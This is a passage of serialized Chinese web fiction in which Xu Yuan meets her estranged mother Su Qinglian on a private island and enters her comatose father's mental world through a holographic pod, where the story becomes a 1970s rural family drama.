顾凛和刑从景对视一眼而后深深的看向许愿:“我会吩咐下去。” 许愿解释完便已然匆忙离开,顾凛懂得享受,这次虽然泡的不是武夷茶,但也大差不差,刑从景蹭了壶茶,抬眸扫向顾凛。 “猜到她要见谁了?” 顾凛笑了;“除了她,还能是谁。” “真是个懂事的小朋友啊,如果是要见她,不必跟我报备她的信息就能被苏青莲监控直接黑进系统出境。” 所以许愿来这里报备,一是知道他们能懂。 二是间接的告诉他们,她是真的只打算出国一趟不是不回来,更没有藏着别的心思。 所以顾凛说她懂事,真的是没有给他们添一点麻烦啊。 第490章 接机 国内航班一直到M国,许愿按照苏青莲给的地址来到了一座看似普通的私人机场。 这里没有喧嚣的人群,只有几架小型飞机停靠在跑道边,安静得仿佛时间都慢了下来。 她刚走到指定的登机口,一位穿着制服的服务员便礼貌地迎了上来,递给她一张登机牌,并告知她已经为她安排好了前往海外小岛的航班。 海外小岛? 苏青莲藏的还挺深。 随着飞机缓缓升空,透过舷窗,许愿看着脚下逐渐缩小的城市轮廓。 飞行过程中,云层下的阳光洒在海面上,波光粼粼,她却没有心情欣赏这些,她在猜测那座小岛所在的地域方位。 经过几个小时的飞行,飞机终于降落在一个风景如画的小岛上。 下了飞机,远远就见到接应的人。 一排黑衣保镖站在那人身后,为首的人相貌实在优越,许愿见过那么多人也就只有薛酒有足以与他媲美的美貌。 是那种很漂亮的俊美,带着点雌雄莫辨的美,偏偏眉宇之间又带些许清俊的英气。 她只瞥了一眼,就看向周围的环境。 洁白的沙滩、碧蓝的海水、摇曳的棕榈树,一切都显得那么宁静而美好。 苏青莲确实是会享受的。 她微微垂眸,对方已经走上前。 “许小姐,久仰,我是唐文晞。” 他很高,看向她时是带着笑的,眼底都是温柔,许愿猜测这人许是因为她和苏青莲相貌相似才会如此。 “先上车吧。” 唐文晞开来接她的车子是一辆敞篷吉普车,见她没有带什么行李就知晓她没想多待。 他深深的看了许愿一眼然后驾车沿着蜿蜒的道路驶向小岛的深处。 “许小姐没有什么问题要问嘛。” 唐文晞话音才落,许愿就已经开口了。 “你和苏青莲是什么关系。” 唐文晞只稍顿了下,便笑道:“其实真要算起来我大概算是你的哥哥。” 许愿眼神冷了。 所以苏青莲并不是抛弃了所有的孩子,而是只单独抛弃了她和苏逸吗。 “不要误会,我和苏女士没有血缘关系。” 唐文晞开口:“或许你听说过多年前国外有关于暗网的丑闻吗,那次的丑闻很多官员以及资本都在那次动荡中落网。” 许愿眸光闪了闪:“听说过。” “我是在暗网出事前两年,也就是我十岁的时候遇到了苏女士,那时我被送到拍卖台上,带我离开的是苏女士。” 唐文晞的车子停到一旁,他眼底藏匿着悲伤。 他没有去看许愿,却透过车窗看向外面的景色。 “其实你大概也能猜到那里的孩子最后都是怎样的下场,无非是被当做玩具或者是活的器官供体。” “苏女士花费了很久的时间毁掉了暗网带走了我们这群心理不健康的孩子。” “苏女士留我们在身边只因为我们与唐先生有些许相似,事实上苏女士并没有给过我们母爱,所以你不需要在意这些。” 他知道许愿在意什么。 分明是血脉却被抛弃,许愿在意的是这个。 “我没想到她会做这些事。” 这确实是许愿没想到的。 她以为苏青莲满脑子都只剩下唐清江,其它的人都被抛在脑后,但现在唐文晞说的这些好像让她模模糊糊的认识一个全新的苏青莲。 “在知道你是苏女士的女儿后我查过你的资料,其实你和苏女士真的很像,性格也好三观也好,如果当年是你在暗网遇到年仅十岁的我,你也不会袖手旁观。” “你们才是真正的血脉相连。” 哪怕没有被苏青莲养在身边,哪怕是自己孤独坚强的长大,但骨子里的韧劲儿是灭不掉的。 “再如何血脉相连,还是不如你们亲近。”许愿眼神暗淡;“我和苏逸是被抛弃的一方。” 她好歹还被养了几年,苏逸呢?苏青莲就直接把人交给她,她那时还是个幼童,做事总是不够谨慎才会让苏逸吃了这么多年苦。 所以她说“抛弃”这件事,苏青莲没得洗。 唐文晞顿了片刻,像是有些忧伤。 “我知道苏女士做错了一些事,但我希望你不要怪她,因为当年毁掉暗网后的苏女士……曾经多次求生无望有自杀的倾向。” 许愿怔住。 “这话什么意思?” 唐文晞叹了口气。 “其实在我们眼中苏女士无所不能,好像什么事到了苏女士手中都会变得很简单,但在苏女士眼中,她认为她自己很没用。” “因为她觉得她无法拯救唐先生。” “那时的苏女士很脆弱,她几乎没日没夜的在研究数据,那一整年的时间做出来的却是废品,唐先生的身体生命值也突破下限,再跌落下去人就彻底救不回来了。” “苏女士那时连遗嘱都已经写好了,你想知道她的遗嘱写了什么吗。” “她将她的财产分成了五份,其实我们这三个被她领养的孩子只占据了最小分比,她给我们的那份财产足够我们长大成人自主创业,而剩余的部分是留给你和苏逸的。” “她在遗嘱中写,如果你们顺利长大成人有了自己的事业自己的生活那就不要打扰你们,用其它方式将这些东西交到你们手中,不必提起他们的存在。如果你们曾遭遇不幸,就将这笔财富直接交到你们手中。” “苏女士的遗嘱中说,她这一辈子只对不起两个人,一个是你一个是苏逸。” 事实上苏青莲做人是很成功的,她对得起很多人。 华国当初多少精密仪器由她算过数据?当初最穷的时候苏青莲捐出了多少钱财资产购买国外的电子仪器?哪怕是顾凛的手都是她接回来的。 就算到了海外,她知道存在那种令人作呕的暗网也是不惜入局连根拔起。 她对得起很多人,她只是对不起许愿和苏逸。 苏青莲多优秀多自负的人? 当初她信誓旦旦的偷走唐清江的身体,她保住了唐清江没让暗处的人真的害死唐清江,她以为自己能救他,可试验了那么多次,她无法研究出全息,研究不出真正的全息无法连接唐清江的脑域她就救不了他。 如果唐清江真的离世,那她活着的意义是什么呢? 第491章 要见一见你父亲吗 苏青莲清楚自己的父亲已经逝世,哪怕是为父亲为苏家积累下的阴德也够多了。 她唯一在乎的这世界上能让她有所牵绊的就是唐清江,唐清江不在了她会随着他离世。 她确实生过自杀的念头。 那时的苏青莲几乎日夜不休的研究,没能自杀成功是因为唐文晞当时看住了人。 “你想象不到,当时浴池中都是血,她就躺在一池血水中。” 唐文晞此刻想到那场景都是一阵后怕。 许愿敛眉。 怎么想象不到那副场景? 当年苏青莲就是这样演了一出戏让人以为她死在许镇江的生日宴上,只是那时是演戏为了麻痹某些人的神经带走唐清江,不像唐文晞亲眼所见的是真的想要自杀。 “救下苏女士后苏女士有一段时间都在绝食,我只能依靠葡萄糖让她维持生命体征,直到一次半夜苏女士想到了连接全息的代码数据,她在此基础上研究出了新的容器,因为有了能唤醒唐先生的可能,苏女士没再寻死,只是住在了研究所中。” “许愿,我告诉你这些并不是希望你同情苏女士。” “我只是觉得你不够了解苏女士,我希望你更全面的了解她然后对她多一点宽容,她很偏执很自傲,她也确实是我们很多人的骄傲,我们愿意捧着她宠着她。” “但是在你这里苏女士对你是有亏欠的,我们没有办法要求你原谅苏女士,但希望你……可以看在她做的很多事上对她的态度稍好一些。” “因为……如果换做是盛景炎,你大概也会做出类似的事情,你应该能够理解一些。” 许愿沉默片刻,盯着他看了几秒,半晌后点了下头,算作回应。 唐文晞的话令许愿陷入沉思。 的确,苏青莲这些年也不容易的。 全息哪里是那么简单就能试验出的,她研究出来的越晚,唐清江清醒的概率就越低,所以她那时才会崩溃到想了却自己的生命去陪唐清江一起。 所以当初苏青莲没有带她和苏逸一起离开是不是也有这方面的考虑? 因为担心无法拯救唐清江所以可能随时离开这世界才会将她留在国内。 许愿还在思考,唐文晞已经将车开到了一座城堡内。 是的,就是城堡,苏青莲很会享受。 这座城堡别墅像是依山傍水,建筑风格融合了现代与传统元素,既有欧式的大气磅礴,又不失东方的精致细腻 许愿有些惊诧,唐文晞已经下车为她打开车门。 门口站着一位身穿白色连衣裙的女人,她的身影在夕阳下显得格外优雅迷人。 当车子停下时,许愿已经看到城堡别墅的门口站着一位身穿白色连衣裙的女人,是很简单的打扮,但许愿的目光立刻被这位女人吸引住了。 她就是苏青莲,比照片和视频上更加美丽动人。 苏青莲有着一头乌黑亮丽的长发,柔顺地垂落在肩头,随风轻轻飘动。 她的皮肤白皙如玉,五官精致立体,眼神中透着智慧与温柔。嘴角挂着一抹淡淡的微笑,让人感觉如沐春风。她站在那里,仿佛是这幅美景中最耀眼的一颗明珠。 她不像是快五十岁的女人,更像是只比她大几岁的姐姐。 而她也的的确确跟苏青莲很像。 苏青莲看到许愿时也怔了片刻,她能感受到自己内心有一种酸涩的感觉充斥着胸腔,她喉间此时有些发堵。 她想,这大概就是血脉相连的感觉吗。 她走上前来,握住许愿的手:“很高兴你愿意来见我。” 许愿感到一阵温暖从手心传来,她还未回过神就已经被苏青莲握住了手。 她低头看向苏青莲的手,柔软纤细,手腕处却有一道狰狞的疤痕,那大概就是唐文晞提到的她割腕自杀那次。 她心尖忍不住轻颤了下。 她本该恨的,可真的见到她却发现自己好像很不起来了。 比起恨,更多的是委屈,是那种难以言喻的委屈感。 她压制住自己的情绪,点了点头,轻声说道:“这个地方真的很美。” “以前这里可没有这样的城堡,我专门请人画了设计图才有了我的小天地。” 苏青莲轻笑着解释,她领着许愿走进别墅,内部装饰简约而不失高雅,到处摆放着精美的艺术品和绿植,营造出一种温馨舒适的氛围。 客厅里有一面巨大的落地窗,正对着无垠的大海,海浪拍打着岸边的礁石,发出悦耳的声音。 “先坐吧。”苏青莲指了指沙发,“文晞给你准备了一份见面礼,是你很喜欢的红宝石首饰,很漂亮。” 桌上放着的是木质的雕花盒子,没有打开盒子都能闻到盒子上散发的淡淡的香味。 “打开看看吧。”苏青莲说。 许愿顿了下:“我不是来收礼物的,我想见一见你说的医疗团队,我想知道他们是不是真的能治好盛景炎。” 苏青莲听到这话似乎有些忧伤,她知道许愿为什么想这么快见到医疗团队,因为她想见了医疗团队后尽快离开这里。 她和在视频中完全不同,不是那种能把控全场的样子了。 她其实很想对许愿说一句对不起,但她的自尊不允许她说出这句话,她甚至很想抱一抱她,这么多年过去了,她仍然还记得当年小小一团的许愿被她抱在怀中有多可爱。 她看着面前这个已经长大到不需要自己这个母亲的许愿,内心的愁绪几乎要突破胸腔。 她看着许愿,声音带着点淡淡的哑:“要见一见你父亲吗。” 她间接的提到唐清江。 她想让许愿多待一会儿。 许愿沉默。 “见一见他吧。”苏青莲开口:“我做的错事,与他无关不是吗。” 苏青莲利用两人的基因有了许愿和苏逸,这件事唐清江从头到脚都不知道不是吗。 许愿默了片刻后点了点头:“好。” 她同意了。 苏青莲带她穿上防护服进了地下的研究室。 “阿江身体虚弱,所以目前只能在封闭空间内用葡萄糖吊着生命。” 她打开那扇门,一眼便看到躺在全息舱中的男人。 他真的很瘦,瘦到好像只有一层皮肉包着骨头,但是仍然可以看出年轻时候的俊朗。 苏青莲习惯性的坐在床边沙发的位置,那似乎是苏青莲经常坐的位置。 她自然的握住唐清江的手捧住,脸上也有了笑意。 第492章 唐清江的精神世界 “我跟阿江提到过我们有了孩子,他们很漂亮很优秀,阿江总是会很开心,他也很想见一见你们。” 这就是为什么苏青莲一定要跟许愿达成和解的原因。 因为唐清江在乎他们的血脉,因为唐清江。 “他还没有醒,又是这种状态,你怎么这么肯定他会因为我们的存在开心,会想要见我们?” 许愿不解,她有一瞬间觉得苏青莲在诓骗自己。 苏青莲笑了笑;“你知道我为什么执意要研究全息吗?你知道什么是全息吗。” 她指了指自己的大脑:“真正的全息是可以由数据粒子连接大脑脑域的,我研究全息就是为了用这些数据粒子刺激他的大脑脑域让他尽快醒来。” “你知道全息可以做到哪一步吗。” “我可以敲打代码数据引进一段故事,然后连接自己的脑域去他的精神世界呼唤他。” “如果你还不能理解的话,那你可以看作是我在阿江的脑内投放了很多故事,那些故事都是为了唤醒他,我曾多次提到过如果有了孩子会怎么办?他说他们一定会很优秀,他会用自己能动用的所有资源权利让他们成为这世界上最幸福的孩子,我每次都会问,他每次都会这样回答我。” “所以阿江真的很爱你们。” 苏青莲捧着唐清江有些干瘦的手抚摸着她自己的侧脸声音很轻道:“所以许愿,你们可以怪我恨我,但不要去怪阿江好吗。” “他是个很温柔的人,我不嫌让他受到任何的伤害。” 她是真的完全的利唐清江主义者。 许愿瞳眸微闪:“我没有怪过他。” 苏青莲终于又笑了。 “你是真的研究出了全息,为什么没有全面推广。” 许愿不解。 她终于知道自己所研究的跟苏青莲所研究的差了多少,她研究的最多只能算是裸眼3D。 “一是因为材料昂贵消耗巨大不能批量生产耗费人力财力,不会通过审批。” “其二是因为我不想把这项技术交给那群人了。”苏青莲望着躺在全息舱中消瘦的爱人,她抚摸着唐清江的侧脸,声音轻缓中带着些许恨意。 “我为他们做了很多事,他们要什么我便付出什么,钱、数据、研究、我什么没有给什么没有上缴?” “可是因为他们的内斗害了我的爱人。” “我的爱人成了植物人只能躺到病床上,他们还不肯放过他,想要夺走他的生命,多狠,多可怕。” “所以,我不会把这项技术交上去了。” 许愿垂眸对此很理解。 如果是盛景炎遭遇这一切,她只会更疯。 “许愿,你想不想见一见你的父亲。” 苏青莲问她。 许愿有些不懂,这句话是什么意思,为什么这样问她? “你想去他的精神世界吗?或许他见到自己有个这样漂亮的女儿会很开心,情绪激动的话或许会很快醒来。” “虽然他本就快醒了,但或许能更快一些。” 许愿顿了下:“只我一个人吗?” “当然是我跟你一起。” 苏青莲开启了另一间房,里面赫然也是一间全息舱,像是早就为她准备好了。 “要试试看吗。” 许愿同意了。 苏青莲很开心的笑起来,笑的眉眼弯弯的,只有这时候才能看到她眼角的细纹。 许愿戴上全息舱,苏青莲帮她连接数据,看向她时眼神很温柔,许愿有片刻的恍惚。 她听到苏青莲说:“睡一觉就好了,睡过去后就能够连接到阿江的精神世界,不要紧张不要害怕,他是你的父亲。” 许愿昏昏沉沉的好像真的陷入其中。 …… 唐清江觉得自己睡了很久,久到忘记了很多事,但是许多本该不属于自己的记忆闯进了脑内。 他觉得头有些疼,睁开眼后映入眼帘的是大片大片的椰菜花,耳边是吵嚷的人声,都是乡野音,以及拖拉机发出的巨大声响。 他清新了,终于睁开眼。 他正坐在一辆拖拉机上。 那些用乡野音说话的是农村村民身上的衣服都打着补丁,那些衣着光鲜的明显不是乡下人,应该是被派遣下来的知情。 现在的时间,他想了下,是上世纪七十年代末。 而他三年前结婚,结婚三天就出去工作,三年未归,至今才归家。 路上拖拉机突然坏了,知情们没有头绪,唐清江面无表情的修好了拖拉机,引得众人欢呼,就连知情看他的眼神也都有些古怪。 他没什么反应,面对那些人看过来的眼神只是温柔一笑便继续愣神。 大约一个小时后,拖拉机在唐家村村门口停下。 唐清江背着一个巨大的编织袋从车厢内跳下去,一起乘车的婶子笑眯眯道:“清江,回去后记得来婶子家转一转啊!” 开拖拉机的司机也探出头:“好小子,没想到你还有这能耐呢,下回拖拉机再有问题就直接找你帮忙了,这次收粮就冲你这手艺估计你们村子要排在第一个了。” 唐清江温柔的笑了笑算是回答。 乡亲们都看呆了,以前也不记得唐家这小子长这么好看啊,怎么总觉得比那些知情还要有气质呢。 出去工作见世面的就是不一样啊。 一直到唐清江走远了那群人还在嘀嘀咕咕的念叨。 后面跟唐清江一起下来的知情们则是盯着唐清江的背影没有移开眼。 唐清江人高腿长,走路速度很快,他也不知道为什么,自己很想回家,好像家中有什么自己很想见到的人。 不过几分钟已经看到唐家的院墙。 这时几道喧哗争吵声也闯入耳畔。 “干活的时候见不到影子,吃饭的时候比谁都快!生了个赔钱货臭丫头还敢抢我儿子的鸡蛋给她吃!谁家取了你这么倒霉的儿媳妇!可怜我儿子在外面工作受苦就你这个女人和那赔钱货在家享福!” 唐清江听到这辱骂脸色有些难看。 走进院子就对上一张明艳靓丽的面容,他记得是他三年前娶进门的妻子,叫苏青莲。 而她身后是一个矮小的小女孩。 唐清江脸色微变,难道说这个孩子是他的? 那方才母亲骂的是他的妻子和女儿吗? 难道他女儿还吃不起一个鸡蛋? 第493章 唐清江 唐家院子里,唐母“砰”一声将自己的碗磕在桌面上,眼睛直勾勾地盯着那正在夹菜的苏青莲。 苏青莲面不改色的喂着怀里的瘦弱却可爱的女孩,权当做没听到唐母的怒吼,甚至夹了几筷子菜到桌前的餐碟里,脸上都带着似有似无的笑意。 她笑着看向坐在对面的唐年,慢悠悠道:“小叔子啊,以后干活积极一点,你整日不干活,惹得母亲都要生气了,以后如果家里吃不上饭可都是要怪你的。” 唐年是唐家的老三,苏青莲的小叔。 唐年本是在边吃饭,边暗戳戳看苏青莲的笑话。 他这个大嫂,是个最自私自利、叫人讨厌的家伙,唐家所有人都讨厌他,被娘骂更是家常便饭。 没想到,她现在居然还敢说是自己惹了娘生气,简直胡说八道。 果然,下一刻,唐母的怒火更盛。 她直接拿筷子指着苏青莲,呵斥道:“你在胡说些什么,居然敢趁机欺负年年?” 苏青莲面上笑着抱着怀中还有些呆愣愣的孩子说道:“母亲,说欺负也是你欺负啊,我只是把你的话重复一遍。” “你……你……”唐母气得手直发抖。 苏青莲继续嘲讽道:“母亲,你是不是对小叔子从来不下地干活还整日游手好闲这件事不满了,不然怎么饭桌上都要骂人呢?” 唐母怒道:“你这个不要脸的东西,少往年年身上扯,我骂得是你和你生的赔钱货!” 苏青莲听到赔钱货这个词面色陡然冷下来。 “哦,原来唐家是这样的,儿媳就一定要比自家成年的小叔子干更多的活,家中两岁的女童要被骂是赔钱货还不能吃饱饭?现在可是新时代,母亲这话说出去也不怕被人抓起来教育,现在外面可是讲究人人平等呢。” 这个时代又要抓计划生育又要讲究男女平等,谁家敢对女童有什么不满那被传出去全村都要嚼舌根的。 妇女能顶半边天还是这时候兴起来的口号。 “你敢威胁我?”唐母怒极,筷子直接往桌上一拍:“我早就说了!我们清江就不该娶你这种人进门!你家又是地主家又是叛国贼的!死了全家还剩下你这么个牙尖嘴利的丧门星!” 苏青莲所在的苏家是地主阶级,曾是十里八乡有名的大善人,奈何成分原因家中的祖宅被强行收走,家中的东西也全都被打砸,她的父亲当天就被气死了。 苏青莲当时因为年级尚幼,所以被下放到唐家村没少被人磋磨,后被人迫害跌进荷塘险些淹死,是路过的唐清江救了她,为了她的清白这才娶了她。 也亏得唐家三代都干干净净,唐清江的父亲还是烈士所以哪怕娶了苏青莲也没人赶到她家惹是生非。 唐年嗤笑几声:“我看我哥也不喜欢她,不然也不会三年不回家,倒不如娘你做主把她赶出去,反正生的是个拖油瓶,我们家也不稀罕。” 苏青莲抱着怀中的孩子,听着唐母的辱骂和唐年嘲讽的话脸色越来越沉,她陡然站起身走到唐年面前,将她面前的一碗米汤端起来“哗”的浇到他头上。 “母亲都吵成这样了,你怎么还吃得下去!” “苏青莲你这个疯女人!你是不是有病!”唐年气急败坏的就要动手,手都没抬起来就被人一脚踹到门槛上,摔了个大马趴。 苏青莲正惊愕的站不稳,然而下一刻,背部却贴上了一温暖坚实的怀抱,腰也被稳稳搂住。 接着,他就听到唐母、唐年等人带着惊诧的嗓音响起:“老大……” “大哥……你回来了?” 一直装不存在的唐家老二唐武也激动的站起来。 倒是唐家老三唐年倒在地上气的眼睛都红了,此刻怒喊道:“大哥你做什么踹我!” 唐家乱成一团,苏青莲微眯眼。 哦呦,原来是那个结婚三天就跑出门做工,三年都不见人影的丈夫回来了啊? “站好。” 就在这时,耳边响起一道微冷沙哑的男声。 苏青莲怔了怔,转头看向身后之人,喃喃地念着:“唐清江……” 唐清江望着怀里的人,她是真的很漂亮,五官明艳精致,哪怕身上的衣服有补丁也遮不住她的靓丽,只是大抵这三年过的辛苦,有些过于消瘦,脸也瘦,却显得那双乌黑的眼睛更大了。 他喉结动了动,不知怎么的内心的酸涩感压制不住,他忍不住抬手揉了揉她有点乱的头发,淡声道:“我回来了。” 苏青莲先是心里一喜,眼睛都是亮晶晶的望着他,可想清楚有些事后又忍不住撇撇嘴。 回来就回来呗? 哼,结婚三天就能被唐家人撺掇着跑出去打工不见人影的家伙,难道还指望你是个聪明的?不被唐家人设计着欺负她们母女都是好的。 唐母看着门口处高大的人影,愣了愣才笑道:“老大,你今天回来,怎么也不提前说一声,这饭都分完了,就是你这个媳妇,什么好的都抢着吃……” 唐清江看向唐母,直接走近唐年,单手将人丢到院内地上,他眼神很冷:“母亲,你看看老三,再看看我妻子。” 唐年又被丢在地上还在干嚎,早就成年的男性,身体结实脸也是圆乎乎的,这个年代能长成这样显然是家里养得好,若是有钱家庭也就算了,可他们这样农村家庭还能把人养称这副模样,也不知道嘴里塞了多少好东西,平日里定时不缺油水的。 反观苏青莲,身体纤细的像是一阵风就会被吹倒,他方才搂住她的腰都觉得自己一只手都能握住她的腰,怕是稍一用力腰肢都要断了。 “这三年我没少给家里寄钱,怎么?她不该吃?”唐清江垂下眼,拿起桌上最后一个黑面窝窝头装进她纤细的手中继续道:“她就算是不去上工只在家里休息我也养得起。” 苏青莲握了握手里的窝窝头推到他的大手里,撇了撇嘴:“好难吃,拉嗓子。” 看得出是真嫌弃。 唐清江失语片刻,盯着她看了几秒:“娇气。” 第494章 养得起 苏青莲内心哼了一声,这就嫌她娇气了,她心里还没吐槽完,唐清江拢了拢她额前被风吹的散乱的发:“娇气点也没事,养得起。” 苏青莲拽住他衣角,忍不住偷偷看他一眼。 唔,她男人好像不是个蠢蛋啊,好像还是疼老婆的? 她眨了眨眼睛推开搂着他的男人,男人眸光沉了沉,看向已经空了的怀里眸光都暗了,岂料下一秒他妻子就已经抱着个瘦弱却漂亮的小团子走过来。 他顿住。 想起之前在院外听到唐母骂的“赔钱货”“拖油瓶”不由得轻微皱眉。 而且……他总觉得他好像是不该有孩子的,这个孩子好像是在意料之外的。 他还在愣神,苏青莲就已经把软软的小团子放到他怀中,还不忘指挥她:“抱好。” 这还用提醒吗?他当然会抱好。 他能感受到怀中幼童的身体很软很软,但是也很轻,孩子也很瘦,但看过苏青莲就知道他这个妻子已经在很尽力的养着怀中的孩子了。 他低头看向怀中的女童,她也在观望他,那双眼睛像极了苏青莲,黑亮漂亮。 许愿也不知道自己为什么会在这里,她觉得自己应该叫许愿,但是记忆却告诉她,她叫唐愿。 她虽然很小一只,但是好像早慧,已经明白面前的男人是他的父亲。 父亲…… 她的父亲会疼她吗?她好像觉得父亲不会喜欢她。 她歪着头看着面前温润英俊的父亲,下一秒却被父亲抱紧了,他的怀抱真的很宽厚很温暖,她不知道为什么在这一刻眼睛都是酸的。 好像这是一个跨世纪的拥抱一样。 “父亲。”她声音很小很小,小到可能风一吹可能声音就要被吹散了。 可她的父亲听到了,抱着她说;“好乖。” 她眼睛都弯起来,她的父亲夸她好乖呢。 苏青莲站在一旁看着唐清江和被抱着的一小团,她感觉到自己心跳都在加速,那种说不上来的异样感情充斥着四肢百骸,太古怪也太可怕了。 苏青莲拍抚了下胸脯才让自己镇定下来。 “这是我和你的女儿,她叫唐愿。” 苏青莲是说到这里目光飘到唐母脸上:“你的母亲说因为我生了阿愿,所以要把我们母女赶出去呢。” “你呢?你也觉得我们阿愿是……”她不愿说“赔钱货”“拖油瓶”这样难听的词汇,她眼神略微闪烁后才开口:“你也打算丢下我们母女吗。” 苏青莲说完这话,唐愿也从他怀中探出头望着他,母女二人如出一辙的探究目光似乎都在等着他的回应。 “胡说什么。”唐清江不赞同的看了苏青莲一眼,这才目光重新转到唐母身上。 “母亲打算赶她们去哪里?一家人是需要齐齐整整的,不如今天就分了家我跟她们一起走,母亲觉得怎么样。” 唐母气的眼睛都红了。 这一字一句都是在逼她! 她真是觉得这大儿子疯了!出去工作三年,对这女人能有多少感情,怎么看见这女人一眼就被迷的没理智了! 她丈夫早年牺牲了,老二唐武是个脑子笨的,虽然她疼老三可也知道老三是个靠不住的软柿子,家里面只有老大能是顶梁柱!她怎么能让老大走呢! “我看你是被这狐狸精迷了眼!” “你怎么就信了她的话呢!你们结婚三天你就离家工作,你怎么就确定这孩子是你的!万一是她背着你偷人呢!这样不干不净的女人都是要被批斗要坐牢的!我现在只是把她们母女赶出去已经是仁至义尽了!” 唐母满嘴的胡说八道。 事实上苏青莲嫁进唐家后因为身份都没怎么出过门,那孩子只可能是唐家的种。 但她就是不想自己儿子跟自己离心,就是想赶苏青莲走。 苏青莲脸色沉下来,她现在就等唐清江怎么回答,如果这男人敢怀疑她……她也不要他了! 她瞪着他。 她气鼓鼓的,眼睛却更亮了。 唐清江只觉得自己心窝都好像化了,他用空出来的手揉了揉苏青莲的头,苏青莲还等着他的回答呢,不准他摸,“啪”的把男人的手拍下去。 他也不恼,从口袋里拿出几颗奶糖递过去哄她。 她不接,他失笑,剥了糖纸喂到她嘴边:“张嘴。” 她才不听。 “再不吃,唐年就要来抢了。” 这话才开口,苏青莲便张口咬走了糖,便宜谁也不能便宜狗唐年。 本来就盯着糖流口水的唐年气急败坏的手捶地。 见她吃了,唐清江把剩下的糖都塞到她手里,这次她没再拒绝。 一低头对上怀中亮晶晶的一双大眼睛,似乎也想吃糖。 “你还小,吃糖牙齿要坏掉了。” 唐愿埋头在他胸口,很乖的缩成一团。 “给你带了麦乳精,晚点给你喝。”哄完大的哄小的。 唐愿小手揪住他的衣领,更乖了。 见他这么悠哉悠哉的,苏青莲忍不住踢了他一脚:“你母亲等着你回话呢,你再不说话她就要被气死了。” 她现在就要被气死了! 唐母气的眼睛都是红的。 唐清江给怀中的孩子换了个舒服的姿势,目光落在唐母的脸上确实淡淡的。 “母亲,诽谤罪是要入刑的。” “或许母亲不明白什么是入刑,入刑就是要被抓去关进大牢里,严重的可能会吃枪子。” 唐母身体跟着一哆嗦。 “阿愿一看就是我的孩子,我也相信我的妻子不会背叛我,如果母亲不信的话,或许可以换一种方式做个检测。” “最近国外引进了新技术,可以提取体内基因检测是否是亲生父女,只是检测费比较贵。” 唐清江缓了下:“大概我们家全部的积蓄是够做个检查的,母亲要做检测吗。” 又是要入刑蹲大牢又是要花全部的钱做检测,她疯了吗! 唐母只能僵硬的开口:“老大,我可是你亲妈。” “大义灭亲,上面知道了要给我颁锦旗的。”唐清江声音还是淡淡的。 唐母气的脑瓜子疼。 她记得以前大儿子是最听话的,怎么出去一趟就这么疯了,不仅不听她的话还要护着哪个狐狸精把她送进去! 第495章 喜欢宠着她的感觉 唐母觉得对自己这大儿子她是管不了一点了,只能面色僵硬的找补:“我就是说着玩笑的,你们也别当真,行了行了,我看你大老远的回来也累了,早点休息吧。” 唐母赶紧拽起还赖在地上的唐年:“赶紧回屋!” “回什么屋!我不回屋!我要吃糖,我要喝麦乳精!我都听见大哥说要给那死丫头喝麦乳精了!我也要喝!” 唐年在这里叫嚷。 “喝什么喝!再嚷嚷你大哥要来教训你了!” 唐母先是被大儿子气的头疼,现在又被小儿子混账的头疼。 唐年果真不嚎了,他大哥刚才那一脚可不是开玩笑的。 唐家老二唐武赶紧喝完了碗里冷掉的汤也溜走了,根本不敢多待。 唐家院子里就只剩下他们三人。 “吃饱了吗。”唐清江问的是苏青莲。 在唐家哪有吃饱的时候。 苏青莲哼了一声:“要喝麦乳精。” 她也不知道为什么,对着唐清江就是很自然的会撒娇,好像这男人就该宠着她似的。 “好,先回屋。” 他果真顺着她。 “阿愿下来自己走好吗,父亲要提行李。”唐清江对着怀里很乖的唐愿问她。 唐愿乖巧的点了点头,唐清江这才把人放下去。 他提着装了许多东西的编织袋和蛇皮袋跟着妻子和女儿回房间,女儿小小一只,走起路来都是可爱的。 像小企鹅。 他明明没见过企鹅,但就是会觉得像。 唐家的房子是唐清江结婚时新建的,虽然是泥砖砌成,但建的很大,房间也多,前后左右加起来一共有八间。 苏青莲等唐清江走进了房间,然后就直接把房门带上了。 唐清江看了她一眼,在床沿坐下,四下打量一眼。 土坯做的房子,房间内因为打扫地过于干净,而显得陈设更少而空荡,除了一个陈旧的衣柜,就只有身下的木床和手边斑驳的小矮几。 还有,窗户下那个垫了小木块的长桌。 桌子上有一个破烂的陶瓶,里面却插着几朵新摘的野花,给这陈旧的房间添了几分新鲜优雅。 苏青莲朝他看过去,嘴里的糖还没吃完,她心情有点微妙。 以前都是自己一个人大战唐母,每次唐年敢动手她就会跑出院子让唐家人丢人,今天却被唐清江赶上了,还陪着她一起气唐母。 她对唐清江的印象还停留在三年前,莽撞严肃又木讷的老实男人,嗯,还有点笨,除了有一张好相貌,其他的全都不在她的选择范围内。 但现在再看,哪里老实木讷了? 分明是个切开黑的。 不过他肯站在她这边,就说明这男人是个好的,宠老婆的,给他多加一分。 苏青莲偷偷瞥他,却见男人在房内觑寻一圈也没瞧见热水壶。 似乎是知道他在找什么,阴阳怪气道:“我们结婚时候的热水壶早就被你那弟弟拿走用了。” 唐清江皱眉。 看来刚才那一脚是踹的轻了。 “脏了,下次给你买新的。” 唐年用过的东西,他嫌脏,好巧,苏青莲也嫌脏。 “我出去烧热水。” 他打算出门,却瞥见苏青莲目光落在他的行李上,眼睛都闪闪的,他忍不住笑了下:“想看就看,看上眼的都是你的。” “你还挺大方。”苏青莲嘀咕。 “你是我妻子,对你大方难道不是应该的?”唐清江回她。 苏青莲见他撂下这句话就出门了,颇有些手足无措。 她这个三年不见的便宜老公好像人还不错? 苏青莲踌躇着走到了床沿边坐下打开了他带回来的行李袋和蛇皮口袋。 雪花膏! 她一眼就看到了,眼睛弯了弯,开心的放到床上继续寻宝藏。 她翻着行李数两袋麦乳精、一份伊拉克蜜枣、两盒点心、一份鱼肉罐头、黄桃罐头、红糖、还有大概半斤的奶糖,甚至其中还混着两匹布料,一匹是军绿色的布料,能拿来做解放军的衣服,另外一匹是蓝色布料,她想拿来做条裙子穿。 东西有点多,她挑的花了眼,最后还翻到了不少票,粮票肉票工业票都挺齐全,也不知道他去哪里搞了这么多票。 哦,就是钱有点少。 也是,这三年估计他都把钱寄到唐母那里了,手里没有多少钱,最后的钱估计都拿来买这些东西呢。 唐清江烧好热水泡了两碗麦乳精,麦乳精的乳粉香味儿传来,苏青莲和唐愿都朝他看过去。 唐清江只是扫了眼床上,满满当当铺了一床,带回来的东西都让小妻子翻了个遍。 没事,都是她的。 苏青莲其实也是这么想的,自己男人带的,本就该是自己的,她讨厌唐家其他人,才不要给他们吃给他们用。 可又怕唐清江觉得她贪心似的,又开始偷偷看他:“这些全都是我的,全部哦。” 